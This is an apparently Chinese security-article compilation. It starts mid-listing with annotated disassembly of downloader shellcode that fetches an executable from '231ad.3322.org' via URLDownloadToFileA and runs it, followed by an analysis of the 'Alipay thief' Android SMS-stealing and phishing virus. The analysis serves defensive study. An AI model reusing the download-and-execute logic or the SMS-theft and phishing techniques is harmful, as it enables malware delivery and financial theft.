0012FC16 85C0 TEST EAX,EAX
0012FC18 75 13 JNZ SHORT 0012FC2D
0012FC1A 68 6F6E0000 PUSH 6E6F
0012FC1F 68 75726C6D PUSH 6D6C7275 ; “urlmon”
0012FC24 54 PUSH ESP
0012FC25 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FC28 E8 8E010000 CALL <_CallEAX>
0012FC2D 8BE8 MOV EBP,EAX
0012FC2F 6A 01 PUSH 1
0012FC31 59 POP ECX
0012FC32 E8 6E020000 CALL <_GetFunAddr> ; 获取URLDownloadToFileA 函数地址
0012FC37 ^ E2 F9 LOOPD SHORT 0012FC32
0012FC39 68 6C333200 PUSH 32336C
0012FC3E 68 7368656C PUSH 6C656873 ; “shell32”
0012FC43 54 PUSH ESP
0012FC44 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] ; kernel32.LoadLibraryA
0012FC47 E8 6F010000 CALL <_CallEAX>
0012FC4C 8BE8 MOV EBP,EAX
0012FC4E 6A 01 PUSH 1
0012FC50 59 POP ECX
0012FC51 E8 4F020000 CALL <_GetFunAddr> ; 获取SHGetSpecialFolderPathA 地址
0012FC56 ^ E2 F9 LOOPD SHORT 0012FC51
0012FC58 81EC 00010000 SUB ESP,100
0012FC5E 8BDC MOV EBX,ESP
0012FC60 81C3 80000000 ADD EBX,80
0012FC66 6A 00 PUSH 0
0012FC68 6A 1A PUSH 1A
0012FC6A 53 PUSH EBX
0012FC6B 6A 00 PUSH 0
0012FC6D FF56 5C CALL DWORD PTR DS:[ESI+5C] ; shell32.SHGetSpecialFolderPathA，获取路径C:\\Documents and Settings\\当前用户名\\Application Data
0012FC70 33C0 XOR EAX,EAX
0012FC72 40 INC EAX
0012FC73 803C03 00 CMP BYTE PTR DS:[EBX+EAX],0 ; 计算路径字符串的长度，并保存在eax中
0012FC77 ^ 75 F9 JNZ SHORT 0012FC72
0012FC79 C70403 5C662E65 MOV DWORD PTR DS:[EBX+EAX],652E665C
0012FC80 C74403 04 78650>MOV DWORD PTR DS:[EBX+EAX+4],6578 ; “\\f.exe”
0012FC88 33C9 XOR ECX,ECX
0012FC8A 51 PUSH ECX
0012FC8B 51 PUSH ECX
0012FC8C 53 PUSH EBX ; C:\\Documents and Settings\\Administrator\\Application Data\\f.exe
0012FC8D 57 PUSH EDI ; ASCII “231ad.3322.org:225/yy2/no.exe”
0012FC8E 51 PUSH ECX
0012FC8F 33C0 XOR EAX,EAX
0012FC91 8B46 58 MOV EAX,DWORD PTR DS:[ESI+58] ; urlmon.URLDownloadToFileA，下载恶意程序
0012FC94 E8 22010000 CALL <_CallEAX>
0012FC99 83F8 00 CMP EAX,0
0012FC9C E9 A3000000 JMP 0012FD44
跳转后来到这里：
0012FD44 8BFB MOV EDI,EBX
0012FD46 33C0 XOR EAX,EAX
0012FD48 33DB XOR EBX,EBX
0012FD4A 81EC 00020000 SUB ESP,200
0012FD50 8BCC MOV ECX,ESP
0012FD52 83F8 54 CMP EAX,54
0012FD55 7D 08 JGE SHORT 0012FD5F
0012FD57 891C01 MOV DWORD PTR DS:[ECX+EAX],EBX ; 对[ecx+eax]中的0x50字节空间进行清零操作,以作为参数被后面的函数调用
0012FD5A 83C0 04 ADD EAX,4
0012FD5D ^ EB F3 JMP SHORT 0012FD52
0012FD5F 8BCC MOV ECX,ESP
0012FD61 8BD9 MOV EBX,ECX
0012FD63 83C3 10 ADD EBX,10
0012FD66 33C0 XOR EAX,EAX
0012FD68 50 PUSH EAX
0012FD69 51 PUSH ECX
0012FD6A 53 PUSH EBX
0012FD6B 50 PUSH EAX
0012FD6C 50 PUSH EAX
0012FD6D 50 PUSH EAX
0012FD6E 50 PUSH EAX
0012FD6F 50 PUSH EAX
0012FD70 50 PUSH EAX
0012FD71 57 PUSH EDI ; ASCII “C:\\Documents and Settings\\Administrator\\Application Data\\f.exe”
0012FD72 50 PUSH EAX
0012FD73 50 PUSH EAX
0012FD74 FF56 08 CALL DWORD PTR DS:[ESI+8] ; kernel32.CreateProcessInternalA，执行下载的恶意程序f.exe
篇9：“支付宝大盗”病毒分析病毒防范
近期百度安全实验室发现一款“支付宝大盗”病毒，该病毒通过二次打包嵌入到正常应用中，病毒运行后，自动在后台偷偷上传手机上的所有短信，并且当手机收到新短信时，该病毒会判断短信内容中是否包含“支付宝”、“淘宝”、“taobao”、“银”、“行”、“农信”等关键字，如果包含，该病毒将会屏蔽此类金融支付类短信。
该病毒样本有以下两点需要安全分析人员注意：
1、采用“梆梆加固”加固恶意代码，防止分析人员静态分析和动态调试，
该病毒为了逃避逆向分析和安全厂商病毒检测，通过“梆梆加固”的保护来达到防止逆向分析和动态调试的目的。加固服务提供商需要加强对待加固应用的安全审计，以免被恶意开发者利用。
2、恶意代码+社会工程学配合攻击实现窃取支付宝资金的目的。
病毒分析：
1. 主要行为：
1.1 病毒在AndroidManifest.xml文件注册的恶意组件
1.2 被梆梆加固后的恶意程序代码树结构
在对该恶意样本分析过程中，安全人员发现一个未被调用的“钓鱼”Activity。该Activity通过Webview加载构建的Html页面，诱骗用户输入姓名、身份证号、手机号等敏感信息，当点击“立即认证”后，该页即发送用户输入的真实姓名、手机号码、身份证号等信息到恶意服务器。
★ Android病毒分析报告 Andorid新病毒“UkyadPay”病毒防范
★ MSN爱你(Worm.MSNLoveme) 蠕虫病毒分析报告病毒防范
★ 求职信病毒
★ 病毒的话阅读答案
一个猥琐的流氓推广软件病毒的简单分析病毒防范（共9篇）
